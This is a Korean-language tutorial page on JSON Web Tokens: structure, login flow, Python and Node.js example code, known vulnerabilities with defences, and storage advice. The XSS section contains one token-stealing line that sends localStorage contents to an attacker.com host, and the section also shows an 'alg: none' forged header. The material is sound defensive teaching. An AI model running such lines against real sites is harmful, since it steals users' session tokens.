JWT

상위: Web Security

요약

JWT(JSON Web Token)는 당사자 간 정보를 안전하게 전송하기 위한 토큰 형식입니다. 서명되어 있어 변조 감지가 가능하며, 서버가 세션 상태를 유지하지 않아도 됩니다(Stateless).

JWT 구조

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

┌─────────────┐   ┌─────────────┐   ┌─────────────┐
│   Header    │ . │   Payload   │ . │  Signature  │
│  (Base64)   │   │  (Base64)   │   │             │
└─────────────┘   └─────────────┘   └─────────────┘

1. Header (헤더)

{
  "alg": "HS256",  // 서명 알고리즘
  "typ": "JWT"
}

2. Payload (페이로드)

{
  "sub": "1234567890",    // Subject (사용자 ID)
  "name": "John Doe",     // 사용자 정의 클레임
  "admin": true,
  "iat": 1516239022,      // Issued At (발급 시간)
  "exp": 1516242622       // Expiration (만료 시간)
}

표준 클레임 (Registered Claims)

3. Signature (서명)

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

목적: 토큰 변조 감지

Session vs JWT

인증 흐름

┌─────────┐                    ┌─────────────┐
│ Client  │                    │   Server    │
└────┬────┘                    └──────┬──────┘
     │  1. 로그인 요청                 │
     │  (username, password)          │
     │───────────────────────────────▶│
     │                                │
     │  2. JWT 발급                    │
     │  {access_token, refresh_token} │
     │◀───────────────────────────────│
     │                                │
     │  3. API 요청                    │
     │  Authorization: Bearer {token} │
     │───────────────────────────────▶│
     │                                │
     │  4. 토큰 검증 후 응답            │
     │◀───────────────────────────────│

구현 예시

Python (PyJWT)

import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key"

# 토큰 생성
def create_token(user_id):
    payload = {
        "sub": user_id,
        "iat": datetime.utcnow(),
        "exp": datetime.utcnow() + timedelta(hours=1)
    }
    return jwt.encode(payload, SECRET_KEY, algorithm="HS256")

# 토큰 검증
def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.ExpiredSignatureError:
        return None  # 만료됨
    except jwt.InvalidTokenError:
        return None  # 유효하지 않음

Node.js (jsonwebtoken)

const jwt = require('jsonwebtoken');

const SECRET_KEY = 'your-secret-key';

// 토큰 생성
function createToken(userId) {
    return jwt.sign(
        { sub: userId },
        SECRET_KEY,
        { expiresIn: '1h' }
    );
}

// 토큰 검증
function verifyToken(token) {
    try {
        return jwt.verify(token, SECRET_KEY);
    } catch (error) {
        return null;
    }
}

Express 미들웨어

function authMiddleware(req, res, next) {
    const authHeader = req.headers.authorization;

    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        return res.status(401).json({ error: 'No token provided' });
    }

    const token = authHeader.split(' ')[1];
    const payload = verifyToken(token);

    if (!payload) {
        return res.status(401).json({ error: 'Invalid token' });
    }

    req.user = payload;
    next();
}

JWT 보안 취약점

1. None Algorithm Attack

// 공격자가 헤더 조작
{
  "alg": "none",  // 서명 검증 우회
  "typ": "JWT"
}

방어:

# 알고리즘 명시적 지정
jwt.decode(token, SECRET_KEY, algorithms=["HS256"])  # "none" 거부

2. Algorithm Confusion (RS256 → HS256)

서버가 RS256 (비대칭키) 사용
→ 공격자가 HS256으로 변경
→ 공개키를 비밀키로 사용하여 서명
→ 서버가 공개키로 검증 시 통과

방어:

# 허용할 알고리즘 명시
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])

3. Weak Secret Key

# 취약한 키
SECRET_KEY = "secret"  # 쉽게 추측 가능

# 안전한 키
import secrets
SECRET_KEY = secrets.token_hex(32)  # 64자 랜덤 문자열

4. XSS를 통한 토큰 탈취

// localStorage에 저장된 토큰 탈취
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

방어:

• HttpOnly 쿠키에 저장 (XSS로 접근 불가)
• 또는 메모리에만 저장 (새로고침 시 재발급)

5. 토큰 무효화 불가

사용자가 로그아웃해도 토큰은 만료까지 유효
→ 탈취된 토큰 계속 사용 가능

방어:

• 짧은 만료 시간 (15분)
• Refresh Token Rotation
• 블랙리스트 (토큰 ID 저장) - Stateless 장점 상실

Access Token + Refresh Token

┌─────────────────────────────────────────────────────┐
│                  Token Strategy                     │
├─────────────────────────────────────────────────────┤
│  Access Token   │  짧은 수명 (15분)                  │
│                 │  API 요청에 사용                   │
│                 │  탈취되어도 빠르게 만료             │
├─────────────────────────────────────────────────────┤
│  Refresh Token  │  긴 수명 (7일)                    │
│                 │  새 Access Token 발급에만 사용     │
│                 │  HttpOnly 쿠키에 저장              │
│                 │  DB에 저장하여 무효화 가능          │
└─────────────────────────────────────────────────────┘

Refresh Token Rotation

1. Refresh Token으로 새 토큰 요청
2. 새 Access Token + 새 Refresh Token 발급
3. 기존 Refresh Token 무효화
4. 탈취된 토큰 사용 시 전체 무효화

JWT 저장 위치

추천 방식

Access Token  → 메모리 (JavaScript 변수)
Refresh Token → HttpOnly + Secure + SameSite Cookie

검증 체크리스트

def verify_jwt(token):
    # 1. 서명 검증
    # 2. 알고리즘 확인 (허용된 것만)
    # 3. 만료 시간 (exp) 확인
    # 4. 발급자 (iss) 확인
    # 5. 대상 (aud) 확인

    payload = jwt.decode(
        token,
        SECRET_KEY,
        algorithms=["HS256"],
        options={
            "require": ["exp", "iss", "sub"],
            "verify_exp": True,
            "verify_iss": True
        },
        issuer="https://myapp.com"
    )
    return payload

관련 개념

• OAuth - JWT를 Access Token으로 사용
• Session - 전통적 상태 기반 인증
• XSS - JWT 탈취 위협
• CSRF - 쿠키 기반 저장 시 위협

참고 자료

• JWT.io - JWT 디버거
• RFC 7519 - JWT 표준
• Auth0 JWT Handbook